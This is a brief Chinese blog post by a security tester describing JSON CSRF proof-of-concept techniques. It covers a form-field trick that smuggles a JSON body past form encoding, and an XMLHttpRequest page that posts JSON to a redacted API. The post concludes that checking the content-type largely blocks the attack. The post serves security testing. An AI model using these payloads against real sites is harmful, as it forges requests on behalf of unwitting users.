json CSRF

作者: Mr_Anderson | 来源:发表于2015-03-18 16:24 被阅读826次

    背景介绍

    公司需要上线新业务,发现了有个应用没有对CSRF做防护,本来想着使用burpsuite简单的生成一个POC就可以产出了。结果发现如下问题,在使用form的表格进行CSRF poc生成。
    1,如果使用form的话,生成的内容会多一个 ‘=’ 号,结果导致json不能很好的解析,绕过办法:<code>name='{"added":[{"id":1,"title":"test"}],"ignore_me":"' value='test"}'/></code>

    2,如果应用对content-type:application/json;utf-8 做了检查,那么由于form的enctype的限制,所以无法修改。

    3,使用xmlhttp
    <code>
    <html>
    <script language="javascript" type="text/javascript">
    function jsonreq()
    {
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.open("POST","http://xxx.xxx.com/api/xxx",true);
    xmlhttp.setRequestHeader("Content-Type","application/json;charset=UTF-8");
    xmlhttp.send(JSON.stringify({"_xxx":null,"category":"internet","xxx":"project","description":"csrf","recent":[0,0,0,0,0],"task":{"total":0,"done":0,"today":0},"navigation":{"home":0,"tasks":1,"posts":2,"files":3,"events":4,"review":5,"tag":6,"xxx":-1},"logo":null,"name":"localcsrf"}));;
    }
    jsonreq();
    </script>
    </html>
    </code>
    由于同源策略,所以很难有什么绕过方法。
    目前发现如果对content-type做了检查,CSRF很难实现。

    相关文章

      网友评论

          本文标题:json CSRF

          本文链接:https://www.haomeiwen.com/subject/dixwxttx.html